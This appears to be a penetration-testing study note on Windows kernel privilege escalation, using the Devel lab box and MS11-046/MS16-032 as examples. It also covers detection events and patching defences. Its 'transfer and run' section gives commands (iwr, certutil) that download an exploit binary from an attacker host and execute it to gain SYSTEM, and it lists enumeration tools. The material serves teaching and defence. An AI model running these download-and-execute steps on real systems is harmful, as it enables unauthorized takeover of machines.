Windows kernel exploit

A kernel exploit leverages a flaw in the operating system core (or one of its drivers) to run code at ring 0, the highest privilege level. On Windows, that means jumping from an unprivileged user to NT AUTHORITY\SYSTEM in a single leap, without relying on misconfigurations.

When it's the vector. It's the classic escalation for unpatched systems. If local enumeration finds no misconfigured services, abusable privileges or credentials, the next step is to check the exact system version. In Devel, systeminfo revealed a Windows 7 6.1.7600 Build 7600 (the original release, no Service Pack or hotfixes): perfect ground for MS11-046, a flaw in the Ancillary Function Driver (afd.sys).

The workflow:

1. Identify version and patches. systeminfo gives the OS Version, build and list of installed KBs (Hotfix(s)). An empty or very short list signals neglect.
2. Map to CVEs. Tools like Windows Exploit Suggester (or its Next Generation variant, wesng) cross-reference systeminfo output against a database of known exploits and suggest candidates.
3. Pick a reliable exploit. Many PoCs are unstable and can crash the machine (a BSOD). Classic boxes usually have a tested, public precompiled binary (MS11-046, MS16-032, MS15-051...).
4. Transfer and run. Upload the .exe (over SMB, certutil, etc.) and fire it; if it works, the process ends up as SYSTEM.

Workflow commands

Identify version, architecture and patches:

systeminfo
wmic qfe get HotFixID,InstalledOn
wmic os get Caption,Version,OSArchitecture

Cross-reference the output against known CVEs from the attacker:

# Windows Exploit Suggester Next Generation
wes.py --update
wes.py systeminfo.txt -i "Elevation of Privilege" --exploits-only
# classic (needs Microsoft's .xls database)
windows-exploit-suggester.py --update
windows-exploit-suggester.py --database db.xls --systeminfo systeminfo.txt

Transfer the precompiled binary and run it:

iwr http://<lhost>/ms16-032.exe -OutFile C:\Windows\Temp\exp.exe
certutil -urlcache -f http://<lhost>/ms16-032.exe C:\Windows\Temp\exp.exe
C:\Windows\Temp\exp.exe                        # on success, the process ends up as SYSTEM

Local enumerators that also suggest kernel bugs:

.\winPEASx64.exe quiet
Import-Module .\Sherlock.ps1; Find-AllVulns    # MS10-015 / MS16-032 / MS16-135...
Import-Module .\PowerUp.ps1; Invoke-AllChecks

Important nuance: the exploit depends on the version. There's no silver bullet. MS11-046 works on Windows 7/2008; a Windows Server 2003 with SeImpersonatePrivilege is attacked differently (with churrasco, which is token abuse, not kernel). Confirming the build before choosing a tool saves failed attempts and crashes.

Operational risk. Kernel exploits are the most prone to causing instability. In a real environment (not a lab) you must weigh the impact: a BSOD in production is noisy and disruptive. Reserve them for when other avenues are exhausted.

How to detect it. The noisiest sign is instability: a BugCheck/BSOD in the system log (Event ID 1001 BugCheck, 41 Kernel-Power for unexpected shutdown) right after an unknown .exe ran. A successful exploit leaves a child process running as SYSTEM whose parent is an unprivileged user process (4688/Sysmon 1 with an integrity jump from Medium to System), and, if it uses BYOVD (bring your own vulnerable driver), the load of a signed-but-vulnerable driver (Sysmon Event ID 6). Known precompiled binaries (MS16-032, MS15-051...) are flagged by AV/EDR by signature. At rest, a systeminfo with no Hotfix(s) is the exposure to audit.

Defence. Patch. It's the only real mitigation. Legacy systems that can't be patched should be isolated from the network or retired; keeping an old Windows exposed is indefensible. Enabling kernel-integrity protections (HVCI, vulnerable-driver blocklists) stops BYOVD.